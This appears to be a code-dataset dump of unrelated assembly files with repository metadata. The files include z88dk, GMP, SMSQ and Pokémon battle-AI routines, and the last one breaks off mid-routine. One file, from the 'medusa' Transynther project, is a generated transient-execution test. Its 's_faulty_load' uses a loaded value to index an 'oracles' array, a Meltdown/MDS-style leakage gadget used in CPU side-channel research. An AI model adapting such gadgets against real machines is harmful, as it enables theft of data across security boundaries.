mov $2,-3
lpb $0
sub $0,1
add $1,8
mov $3,$0
add $3,10
add $3,$0
mod $3,4
mul $3,$2
add $1,$3
add $2,$1
lpe
add $2,$1
mov $0,$2
add $0,16
| 39.2
| 491
| 0.793367
|
fc1b7f5b005d0531f66ad882bdf223415506c583
| 2,710
|
asm
|
Assembly
|
libsrc/stdio/ansi/z9001/f_ansi_attr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/stdio/ansi/z9001/f_ansi_attr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/stdio/ansi/z9001/f_ansi_attr.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; ANSI Video handling for the Robotron Z9001
;
; Stefano Bodrato - Sept. 2016
;
;
; Text Attributes
; m - Set Graphic Rendition
;
; The most difficult thing to port:
; Be careful here...
;
;
; $Id: f_ansi_attr.asm,v 1.1 2016-09-23 06:21:35 stefano Exp $
;
SECTION code_clib
PUBLIC ansi_attr
EXTERN __z9001_attr
.ansi_attr
and a
jr nz,noreset
ld a,7*16
jr setbk
.noreset
cp 1
jr nz,nobold
ld a,(__z9001_attr) ; blink 1
or @10000000
jr setbk
.nobold
cp 2
jr z,dim
cp 8
jr nz,nodim
.dim
ld a,(__z9001_attr) ; blink 0
and @01111111
jr setbk
.nodim
cp 4
jr nz,nounderline
ld a,(__z9001_attr) ; blink 1
or @10000000
jr setbk
.nounderline
cp 24
jr nz,noCunderline
ld a,(__z9001_attr) ; blink 0
and @01111111
jr setbk
.noCunderline
cp 5
jr nz,noblink
ld a,(__z9001_attr)
or @10000000
jr setbk
.noblink
cp 25
jr nz,nocblink
ld a,(__z9001_attr)
and @01111111
jr setbk
.nocblink
cp 7
jr nz,noreverse
jr swapattr
ret
.noreverse
cp 27
jr nz,noCreverse
.swapattr
ld a,(__z9001_attr)
rla
rla
rla
rla
and @11110000
ld e,a
ld a,(__z9001_attr)
rra
rra
rra
rra
and @00001111
or e
ld (__z9001_attr),a
ret
.noCreverse
cp 8
jr nz,noinvis
ld a,(__z9001_attr)
ld (oldattr),a
and @00111000
ld e,a
rra
rra
rra
or e
.setbk
ld (__z9001_attr),a
ret
.oldattr
defb 0
.noinvis
cp 28
jr nz,nocinvis
ld a,(oldattr)
jr setbk
.nocinvis
cp 40
jp m,nofore
cp 47+1
jp p,nofore
sub 40-8
and 7
.ZBK
;''''''''''''''''''''''
ld e,a
ld a,(__z9001_attr)
and @11110000
or e
jr setbk
.nofore
cp 30
jp m,noback
cp 37+1
jp p,noback
sub 30-8
and 7
.ZFR
;''''''''''''''''''''''
rla
rla
rla
rla
ld e,a
ld a,(__z9001_attr)
and @00001111
or e
jr setbk
.noback
ret
| 18.187919
| 62
| 0.425092
|
4830a84a67ef390e0871054851c1657af93deb0f
| 450
|
asm
|
Assembly
|
src/data/print.asm
|
natiiix/Nebula
|
0b4b226bb9e217af57b200fae4850ad227432fc3
|
[
"MIT"
] | 1
|
2020-11-11T16:06:26.000Z
|
2020-11-11T16:06:26.000Z
|
src/data/print.asm
|
natiiix/Nebula
|
0b4b226bb9e217af57b200fae4850ad227432fc3
|
[
"MIT"
] | 13
|
2020-05-24T00:45:01.000Z
|
2020-06-02T14:41:24.000Z
|
src/data/print.asm
|
natiiix/nebula
|
0b4b226bb9e217af57b200fae4850ad227432fc3
|
[
"MIT"
] | null | null | null |
SECTION .data
; VGA cursor position
xpos db 0
ypos db 0
; String used for printing hexadecimal numbers.
hexstr db "00000000"
; Null terminator character of the hexstr.
hexstr_end db 0
; Pointer into the hexstr used for printing hexadecimal numbers.
hexaddr dd 0
SECTION .rodata
; Conversion table from 4-bit value to hexadecimal digit.
hextab db "0123456789ABCDEF"
; Prefix used when printing hexadecimal values.
hexpre db "0x", 0
| 21.428571
| 64
| 0.755556
|
a5db898141a9c8fff44fb28bff3a55030090d982
| 6,320
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_260.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_260.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_260.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1a458, %r15
clflush (%r15)
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov (%r15), %rcx
nop
and %r15, %r15
lea addresses_UC_ht+0xd90e, %rsi
lea addresses_D_ht+0x15a56, %rdi
inc %r15
mov $18, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x1e386, %rsi
lea addresses_A_ht+0x8446, %rdi
nop
nop
nop
nop
nop
and %rbp, %rbp
mov $45, %rcx
rep movsl
nop
nop
nop
xor %rdx, %rdx
lea addresses_WC_ht+0xc306, %rdi
nop
nop
xor $6719, %r11
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
sub $1082, %rcx
lea addresses_D_ht+0xd446, %rbp
nop
nop
nop
nop
nop
and %rdx, %rdx
movl $0x61626364, (%rbp)
and $22128, %rbp
lea addresses_WC_ht+0x1e246, %rsi
dec %rdx
mov (%rsi), %r11d
nop
nop
nop
nop
xor $868, %rsi
lea addresses_D_ht+0x1446, %rsi
sub $36142, %r11
movl $0x61626364, (%rsi)
nop
xor $19585, %rbp
lea addresses_A_ht+0xa626, %rsi
inc %rcx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
nop
nop
dec %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_WC+0x5c46, %r11
clflush (%r11)
nop
nop
cmp %rcx, %rcx
movl $0x51525354, (%r11)
nop
cmp %r15, %r15
// Store
lea addresses_UC+0x26c6, %r12
nop
sub %rbp, %rbp
movb $0x51, (%r12)
nop
nop
nop
nop
and %r12, %r12
// Faulty Load
lea addresses_WC+0x5c46, %rax
nop
nop
inc %rbx
mov (%rax), %r15d
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 37.844311
| 2,999
| 0.655538
|
f2c92d576d5384c0b66f066280007c59da2a6522
| 3,001
|
asm
|
Assembly
|
externals/mpir-3.0.0/mpn/x86/pentium/hamdist.asm
|
JaminChan/eos_win
|
c03e57151cfe152d0d3120abb13226f4df74f37e
|
[
"MIT"
] | 1
|
2018-08-14T03:52:21.000Z
|
2018-08-14T03:52:21.000Z
|
externals/mpir-3.0.0/mpn/x86/pentium/hamdist.asm
|
JaminChan/eos_win
|
c03e57151cfe152d0d3120abb13226f4df74f37e
|
[
"MIT"
] | null | null | null |
externals/mpir-3.0.0/mpn/x86/pentium/hamdist.asm
|
JaminChan/eos_win
|
c03e57151cfe152d0d3120abb13226f4df74f37e
|
[
"MIT"
] | null | null | null |
dnl Intel P5 mpn_hamdist -- mpn hamming distance.
dnl Copyright 2001, 2002 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street,
dnl Fifth Floor, Boston, MA 02110-1301, USA.
include(`../config.m4')
C P5: 14.0 cycles/limb
C unsigned long mpn_hamdist (mp_srcptr src1, mp_srcptr src2, mp_size_t size);
C
C It might be possible to shave 1 cycle from the loop, and hence 2
C cycles/limb. The xorb is taking 2 cycles, but a separate load and xor
C would be 1, if the right schedule could be found (not found so far).
C Wanting to avoid potential cache bank clashes makes it tricky.
C The slightly strange quoting here helps the renaming done by tune/many.pl.
deflit(TABLE_NAME,
m4_assert_defined(`GSYM_PREFIX')
GSYM_PREFIX`'mpn_popcount``'_table')
defframe(PARAM_SIZE,12)
defframe(PARAM_SRC2, 8)
defframe(PARAM_SRC1, 4)
TEXT
ALIGN(8)
PROLOGUE(mpn_hamdist)
deflit(`FRAME',0)
movl PARAM_SIZE, %ecx
pushl %esi FRAME_pushl()
shll %ecx C size in byte pairs
pushl %edi FRAME_pushl()
ifdef(`PIC',`
pushl %ebx FRAME_pushl()
pushl %ebp FRAME_pushl()
call L(here) FRAME_pushl()
L(here):
movl PARAM_SRC1, %esi
popl %ebp FRAME_popl()
movl PARAM_SRC2, %edi
addl $_GLOBAL_OFFSET_TABLE_+[.-L(here)], %ebp
xorl %ebx, %ebx C byte
xorl %edx, %edx C byte
movl TABLE_NAME@GOT(%ebp), %ebp
xorl %eax, %eax C total
define(TABLE,`(%ebp,$1)')
',`
dnl non-PIC
movl PARAM_SRC1, %esi
movl PARAM_SRC2, %edi
xorl %eax, %eax C total
pushl %ebx FRAME_pushl()
xorl %edx, %edx C byte
xorl %ebx, %ebx C byte
define(TABLE,`TABLE_NAME($1)')
')
C The nop after the xorb seems necessary. Although a movb might be
C expected to go down the V pipe in the second cycle of the xorb, it
C doesn't and costs an extra 2 cycles.
L(top):
C eax total
C ebx byte
C ecx counter, 2*size to 2
C edx byte
C esi src1
C edi src2
C ebp [PIC] table
addl %ebx, %eax
movb -1(%esi,%ecx,2), %bl
addl %edx, %eax
movb -1(%edi,%ecx,2), %dl
xorb %dl, %bl
movb -2(%esi,%ecx,2), %dl
xorb -2(%edi,%ecx,2), %dl
nop
movb TABLE(%ebx), %bl
decl %ecx
movb TABLE(%edx), %dl
jnz L(top)
ifdef(`PIC',`
popl %ebp
')
addl %ebx, %eax
popl %ebx
addl %edx, %eax
popl %edi
popl %esi
ret
EPILOGUE()
| 22.22963
| 77
| 0.717428
|
a552c764437e564de39e0d9649d614840d7dc3d3
| 1,113
|
asm
|
Assembly
|
dd/dev/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
dd/dev/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
dd/dev/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; DEV initialisation V2.00 1985 Tony Tebby QJUMP
section dev
xdef dev_init
xdef dev_name
xref.l dev_vers
xref gu_achpp
xref dev_open
xref ut_procdef
xref dev_xinit
include 'dev8_mac_proc'
include 'dev8_keys_iod'
include 'dev8_keys_qdos_sms'
include 'dev8_keys_err'
include 'dev8_dd_dev_data'
;+++
; Initialise DEV_USE and DEV device.
;
; status return standard
;---
dev_init
lea proctab,a1
jsr ut_procdef
move.l #dvd_end,d0 ; allocate linkage
jsr gu_achpp
move.l a0,a3
lea dev_open,a1
move.l a1,iod_open(a3) ; just open
lea dev_nimp,a1
move.l a1,iod_frmt(a3) ; and format
lea iod_plen(a3),a1
move.l #dvd.plen,(a1)+ ; physical linkage
move.l a1,a0 ; drive name
move.w #3,(a0)+
move.l dev_name,(a0)+
move.w (a1)+,(a0)+
move.l (a1),(a0)
lea iod_iolk(a3),a0 ; link in
moveq #sms.lfsd,d0
trap #do.sms2
jmp dev_xinit ; extra init
dev_nimp
moveq #err.nimp,d0
rts
dev_name dc.l 'DEV0'
section procs
proctab
proc_stt
proc_def DEV_USE
proc_def DEV_USEN
proc_def DEV_LIST
proc_end
proc_stt
proc_def DEV_USE$
proc_def DEV_NEXT
proc_end
end
| 15.040541
| 55
| 0.713387
|
f89f5ad3c30d28ab564dbb8fb9519dd41ac7fa36
| 12,630
|
asm
|
Assembly
|
engine/battle/ai/items.asm
|
AtmaBuster/pokeoctober
|
12652b84eb2df1a0ed2f654a0ffcfb78202e515f
|
[
"blessing"
] | 1
|
2022-02-21T03:41:27.000Z
|
2022-02-21T03:41:27.000Z
|
engine/battle/ai/items.asm
|
AtmaBuster/pokeoctober
|
12652b84eb2df1a0ed2f654a0ffcfb78202e515f
|
[
"blessing"
] | null | null | null |
engine/battle/ai/items.asm
|
AtmaBuster/pokeoctober
|
12652b84eb2df1a0ed2f654a0ffcfb78202e515f
|
[
"blessing"
] | null | null | null |
AI_SwitchOrTryItem:
and a
ld a, [wBattleMode]
dec a
ret z
ld a, [wLinkMode]
and a
ret nz
farcall CheckEnemyLockedIn
ret nz
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_CANT_RUN, a
jr nz, DontSwitch
ld a, [wEnemyWrapCount]
and a
jr nz, DontSwitch
ld hl, TrainerClassAttributes + TRNATTR_AI_ITEM_SWITCH
ld a, [wInBattleTowerBattle] ; always load the first trainer class in wTrainerClass for BattleTower-Trainers
and a
jr nz, .ok
ld a, [wTrainerClass]
dec a
ld bc, NUM_TRAINER_ATTRIBUTES
call AddNTimes
.ok
bit SWITCH_OFTEN_F, [hl]
jp nz, SwitchOften
bit SWITCH_RARELY_F, [hl]
jp nz, SwitchRarely
bit SWITCH_SOMETIMES_F, [hl]
jp nz, SwitchSometimes
; fallthrough
DontSwitch:
call AI_TryItem
ret
SwitchOften:
callfar CheckAbleToSwitch
ld a, [wEnemySwitchMonParam]
and $f0
jp z, DontSwitch
cp $10
jr nz, .not_10
call Random
cp 50 percent + 1
jr c, .switch
jp DontSwitch
.not_10
cp $20
jr nz, .not_20
call Random
cp 79 percent - 1
jr c, .switch
jp DontSwitch
.not_20
; $30
call Random
cp 4 percent
jp c, DontSwitch
.switch
ld a, [wEnemySwitchMonParam]
and $f
inc a
; In register 'a' is the number (1-6) of the mon to switch to
ld [wEnemySwitchMonIndex], a
jp AI_TrySwitch
SwitchRarely:
callfar CheckAbleToSwitch
ld a, [wEnemySwitchMonParam]
and $f0
jp z, DontSwitch
cp $10
jr nz, .not_10
call Random
cp 8 percent
jr c, .switch
jp DontSwitch
.not_10
cp $20
jr nz, .not_20
call Random
cp 12 percent
jr c, .switch
jp DontSwitch
.not_20
; $30
call Random
cp 79 percent - 1
jp c, DontSwitch
.switch
ld a, [wEnemySwitchMonParam]
and $f
inc a
ld [wEnemySwitchMonIndex], a
jp AI_TrySwitch
SwitchSometimes:
callfar CheckAbleToSwitch
ld a, [wEnemySwitchMonParam]
and $f0
jp z, DontSwitch
cp $10
jr nz, .not_10
call Random
cp 20 percent - 1
jr c, .switch
jp DontSwitch
.not_10
cp $20
jr nz, .not_20
call Random
cp 50 percent + 1
jr c, .switch
jp DontSwitch
.not_20
; $30
call Random
cp 20 percent - 1
jp c, DontSwitch
.switch
ld a, [wEnemySwitchMonParam]
and $f
inc a
ld [wEnemySwitchMonIndex], a
jp AI_TrySwitch
CheckSubstatusCantRun:
ld a, [wEnemySubStatus5]
bit SUBSTATUS_CANT_RUN, a
ret
AI_TryItem:
; items are not allowed in the BattleTower
ld a, [wInBattleTowerBattle]
and a
ret nz
ld a, [wEnemyTrainerItem1]
ld b, a
ld a, [wEnemyTrainerItem2]
or b
ret z
call .IsHighestLevel
ret nc
ld a, [wTrainerClass]
dec a
ld hl, TrainerClassAttributes + TRNATTR_AI_ITEM_SWITCH
ld bc, NUM_TRAINER_ATTRIBUTES
call AddNTimes
ld b, h
ld c, l
ld hl, AI_Items
ld de, wEnemyTrainerItem1
.loop
ld a, [hl]
and a
inc a
ret z
ld a, [de]
cp [hl]
jr z, .has_item
inc de
ld a, [de]
cp [hl]
jr z, .has_item
dec de
inc hl
inc hl
inc hl
jr .loop
.has_item
inc hl
push hl
push de
ld de, .callback
push de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
.callback
pop de
pop hl
inc hl
inc hl
jr c, .loop
.used_item
xor a
ld [de], a
inc a
ld [wEnemyGoesFirst], a
ld hl, wEnemySubStatus3
res SUBSTATUS_BIDE, [hl]
xor a
ld [wEnemyFuryCutterCount], a
ld [wEnemyProtectCount], a
ld [wEnemyRageCounter], a
ld hl, wEnemySubStatus4
res SUBSTATUS_RAGE, [hl]
xor a
ld [wLastEnemyCounterMove], a
scf
ret
.IsHighestLevel:
ld a, [wOTPartyCount]
ld d, a
ld e, 0
ld hl, wOTPartyMon1Level
ld bc, PARTYMON_STRUCT_LENGTH
.next
ld a, [hl]
cp e
jr c, .ok
ld e, a
.ok
add hl, bc
dec d
jr nz, .next
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Level
call AddNTimes
ld a, [hl]
cp e
jr nc, .yes
.no
and a
ret
.yes
scf
ret
AI_Items:
dbw FULL_RESTORE, .FullRestore
dbw MAX_POTION, .MaxPotion
dbw HYPER_POTION, .HyperPotion
dbw SUPER_POTION, .SuperPotion
dbw POTION, .Potion
dbw X_ACCURACY, .XAccuracy
dbw FULL_HEAL, .FullHeal
dbw GUARD_SPEC, .GuardSpec
dbw DIRE_HIT, .DireHit
dbw X_ATTACK, .XAttack
dbw X_DEFEND, .XDefend
dbw X_SPEED, .XSpeed
dbw X_SPECIAL, .XSpecial
db -1 ; end
.FullHeal:
call .Status
jp c, .DontUse
call EnemyUsedFullHeal
jp .Use
.Status:
ld a, [wEnemyMonStatus]
and a
jp z, .DontUse
ld a, [bc]
bit CONTEXT_USE_F, a
jr nz, .StatusCheckContext
ld a, [bc]
bit ALWAYS_USE_F, a
jp nz, .Use
call Random
cp 20 percent - 1
jp c, .Use
jp .DontUse
.StatusCheckContext:
ld a, [wEnemySubStatus5]
bit SUBSTATUS_TOXIC, a
jr z, .FailToxicCheck
ld a, [wEnemyToxicCount]
cp 4
jr c, .FailToxicCheck
call Random
cp 50 percent + 1
jp c, .Use
.FailToxicCheck:
ld a, [wEnemyMonStatus]
and 1 << FRZ | SLP
jp z, .DontUse
jp .Use
.FullRestore:
call .HealItem
jp nc, .UseFullRestore
ld a, [bc]
bit CONTEXT_USE_F, a
jp z, .DontUse
call .Status
jp c, .DontUse
.UseFullRestore:
call EnemyUsedFullRestore
jp .Use
.MaxPotion:
call .HealItem
jp c, .DontUse
call EnemyUsedMaxPotion
jp .Use
.HealItem:
ld a, [bc]
bit CONTEXT_USE_F, a
jr nz, .CheckHalfOrQuarterHP
callfar AICheckEnemyHalfHP
jp c, .DontUse
ld a, [bc]
bit UNKNOWN_USE_F, a
jp nz, .CheckQuarterHP
callfar AICheckEnemyQuarterHP
jp nc, .UseHealItem
call Random
cp 50 percent + 1
jp c, .UseHealItem
jp .DontUse
.CheckQuarterHP:
callfar AICheckEnemyQuarterHP
jp c, .DontUse
call Random
cp 20 percent - 1
jp c, .DontUse
jr .UseHealItem
.CheckHalfOrQuarterHP:
callfar AICheckEnemyHalfHP
jp c, .DontUse
callfar AICheckEnemyQuarterHP
jp nc, .UseHealItem
call Random
cp 20 percent - 1
jp nc, .DontUse
.UseHealItem:
jp .Use
.HyperPotion:
call .HealItem
jp c, .DontUse
ld b, 200
call EnemyUsedHyperPotion
jp .Use
.SuperPotion:
call .HealItem
jp c, .DontUse
ld b, 50
call EnemyUsedSuperPotion
jp .Use
.Potion:
call .HealItem
jp c, .DontUse
ld b, 20
call EnemyUsedPotion
jp .Use
.asm_382ae ; This appears to be unused
callfar AICheckEnemyMaxHP
jr c, .dont_use
push bc
ld de, wEnemyMonMaxHP + 1
ld hl, wEnemyMonHP + 1
ld a, [de]
sub [hl]
jr z, .check_40_percent
dec hl
dec de
ld c, a
sbc [hl]
and a
jr nz, .check_40_percent
ld a, c
cp b
jp c, .check_50_percent
callfar AICheckEnemyQuarterHP
jr c, .check_40_percent
.check_50_percent
pop bc
ld a, [bc]
bit UNKNOWN_USE_F, a
jp z, .Use
call Random
cp 50 percent + 1
jp c, .Use
.dont_use
jp .DontUse
.check_40_percent
pop bc
ld a, [bc]
bit UNKNOWN_USE_F, a
jp z, .DontUse
call Random
cp 39 percent + 1
jp c, .Use
jp .DontUse
.XAccuracy:
call .XItem
jp c, .DontUse
call EnemyUsedXAccuracy
jp .Use
.GuardSpec:
call .XItem
jp c, .DontUse
call EnemyUsedGuardSpec
jp .Use
.DireHit:
call .XItem
jp c, .DontUse
call EnemyUsedDireHit
jp .Use
.XAttack:
call .XItem
jp c, .DontUse
call EnemyUsedXAttack
jp .Use
.XDefend:
call .XItem
jp c, .DontUse
call EnemyUsedXDefend
jp .Use
.XSpeed:
call .XItem
jp c, .DontUse
call EnemyUsedXSpeed
jp .Use
.XSpecial:
call .XItem
jp c, .DontUse
call EnemyUsedXSpecial
jp .Use
.XItem:
ld a, [wEnemyTurnsTaken]
and a
jr nz, .notfirstturnout
ld a, [bc]
bit ALWAYS_USE_F, a
jp nz, .Use
call Random
cp 50 percent + 1
jp c, .DontUse
ld a, [bc]
bit CONTEXT_USE_F, a
jp nz, .Use
call Random
cp 50 percent + 1
jp c, .DontUse
jp .Use
.notfirstturnout
ld a, [bc]
bit ALWAYS_USE_F, a
jp z, .DontUse
call Random
cp 20 percent - 1
jp nc, .DontUse
jp .Use
.DontUse:
scf
ret
.Use:
and a
ret
AIUpdateHUD:
call UpdateEnemyMonInParty
farcall UpdateEnemyHUD
ld a, $1
ldh [hBGMapMode], a
ld hl, wEnemyItemState
dec [hl]
scf
ret
AIUsedItemSound:
push de
ld de, SFX_FULL_HEAL
call PlaySFX
pop de
ret
EnemyUsedFullHeal:
call AIUsedItemSound
call AI_HealStatus
ld a, FULL_HEAL
ld [wCurEnemyItem], a
xor a
ld [wEnemyConfuseCount], a
jp PrintText_UsedItemOn_AND_AIUpdateHUD
EnemyUsedMaxPotion:
ld a, MAX_POTION
ld [wCurEnemyItem], a
jr FullRestoreContinue
EnemyUsedFullRestore:
call AI_HealStatus
ld a, FULL_RESTORE
ld [wCurEnemyItem], a
xor a
ld [wEnemyConfuseCount], a
FullRestoreContinue:
ld de, wCurHPAnimOldHP
ld hl, wEnemyMonHP + 1
ld a, [hld]
ld [de], a
inc de
ld a, [hl]
ld [de], a
inc de
ld hl, wEnemyMonMaxHP + 1
ld a, [hld]
ld [de], a
inc de
ld [wCurHPAnimMaxHP], a
ld [wEnemyMonHP + 1], a
ld a, [hl]
ld [de], a
ld [wCurHPAnimMaxHP + 1], a
ld [wEnemyMonHP], a
jr EnemyPotionFinish
EnemyUsedPotion:
ld a, POTION
ld b, 20
jr EnemyPotionContinue
EnemyUsedSuperPotion:
ld a, SUPER_POTION
ld b, 50
jr EnemyPotionContinue
EnemyUsedHyperPotion:
